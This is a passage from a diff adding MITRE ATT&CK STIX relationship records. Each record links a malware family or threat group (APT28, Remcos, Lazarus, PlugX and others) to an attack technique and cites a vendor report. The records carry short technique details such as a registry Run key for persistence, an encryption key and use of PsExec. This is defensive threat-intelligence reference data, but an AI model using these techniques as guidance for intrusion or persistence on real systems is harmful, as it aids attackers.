"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.722Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fe786b29-e621-48e2-84b5-aed35e6930fe", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[iKitten](https://attack.mitre.org/software/S0278) will look for the current IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1e59381b-fcf5-43e1-b8d5-499db015b208", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses Caracachs encryption to encrypt C2 payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.066Z", + "id": "relationship--4c06e313-2cde-494c-a8dc-449649a1afa6", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) attempts to hide its payloads using legitimate filenames.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--bfa9ae5f-0e45-4a43-9d37-00c9574a1528", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) supports file encryption (AES with the key \"lolomycin2017\").", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--394d53b3-da1c-44b4-8abf-e1092f34c8be", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can disable Microsoft Office Protected View by changing Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--274c31fe-0724-4c26-b389-fedafa37f7df", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.174Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of creating a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7415b249-520c-4ec9-aa03-b12b5b22f6be", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "modified": "2019-05-14T19:15:24.367Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can uninstall scripts and delete files to cover its track.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.421Z", + "id": "relationship--c88054cb-49b6-4451-a2f9-dd404453f395", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate network shares.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.279Z", + "id": "relationship--5e7460f8-9ea9-4aa4-b06e-15861b02d70e", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:16.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can add itself to the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.763Z", + "id": "relationship--1be18787-844d-4135-9781-e5b6a8e76d14", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.103Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "source_name": "Fortinet Remcos Feb 2017", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) has the option to compress its payload using UPX or MPRESS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.625Z", + "id": "relationship--c241606f-e0e2-4179-8e8d-444fb1406df4", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.718Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Carbon](https://attack.mitre.org/software/S0335) enumerates values in the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.824Z", + "id": "relationship--3598d32e-306d-421d-af3c-8c9f5d1628a2", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.710Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Epic](https://attack.mitre.org/software/S0091) heavily obfuscates its code to make analysis more difficult.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.266Z", + "id": "relationship--e600fe60-36d1-4053-af2f-13830d95bd14", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:43.155Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) uses SSL to connect to C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.316Z", + "id": "relationship--6a8356c2-5a79-40b7-bb8e-b7d9dffbe523", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.285Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses WMI to enumerate installed security products in the victim\u2019s environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.652Z", + "id": "relationship--c443cc21-5f8f-4c12-8848-39c469a1c9b2", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.967Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) uses HTTP and HTTPS for C2 network communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.706Z", + "id": "relationship--a0fade5f-6f66-415d-b078-f7ebf9542a63", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.922Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "source_name": "Talos Micropsia June 2017", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can use regsvr32 for executing scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:28:47.813Z", + "id": "relationship--ee9da7e8-12a5-4b77-84ce-a5453874a070", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.499Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\\SYSTEM).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.935Z", + "id": "relationship--1ad1048f-05ce-4bde-a570-6b4be5fbeb4c", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:22.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) attempted to exploit Microsoft\u2019s DDE protocol in order to gain access to victim machines and for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:26:43.136Z", + "id": "relationship--9d82ba74-8cfa-4f6c-a1a0-f23fe8a738cf", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "modified": "2019-04-16T14:51:35.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can recursively search for files in folders and collects files from the desktop with certain extensions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:15.047Z", + "id": "relationship--de7c6e69-dd8f-4063-aaa2-569ab767629e", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.631Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to periodically take screenshots of the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:38:21.269Z", + "id": "relationship--2d920718-61fc-4e10-ad09-df0a00d69cd4", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.269Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can capture screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.194Z", + "id": "relationship--f44842c1-f17d-4bb0-8803-3eee13cf831e", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.846Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:54:17.218Z", + "id": "relationship--5b50193e-6a97-432a-8839-6bb18e88271f", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.689Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.207Z", + "id": "relationship--8ec75847-49fe-4404-b829-99b1e27d4682", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used compromised VPN accounts to gain access to victim systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.204Z", + "id": "relationship--43238f43-2cbd-40e4-8dbf-c97b9500f528", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.942Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has exploited Microsoft Office vulnerability CVE-2017-0262 for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:53:05.411Z", + "id": "relationship--1b3f3de6-364e-443f-8b34-62073c801a5b", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.660Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:27:46.204Z", + "id": "relationship--fd602e63-9851-4f1d-b728-7b0103d7732f", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.163Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Denis](https://attack.mitre.org/software/S0354) obfuscates its code and encrypts the API names. [Denis](https://attack.mitre.org/software/S0354) also encodes its payload in Base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.541Z", + "id": "relationship--f4881cea-8d6f-4cb6-ab86-5aab2379c695", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.727Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "source_name": "Securelist Denis April 2017", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + }, + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used [Net](https://attack.mitre.org/software/S0039) to use Windows' hidden network shares to copy their tools to remote machines for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.487Z", + "id": "relationship--bfdffc50-dba0-41d1-a332-0a02a0a8de07", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.714Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Impacket](https://attack.mitre.org/software/S0357) contains various modules emulating other service execution tools such as [PsExec](https://attack.mitre.org/software/S0029).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:39:56.527Z", + "id": "relationship--6e1e5bab-151b-4be9-9c96-5cb4c66ff540", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "modified": "2019-04-18T21:49:12.781Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + 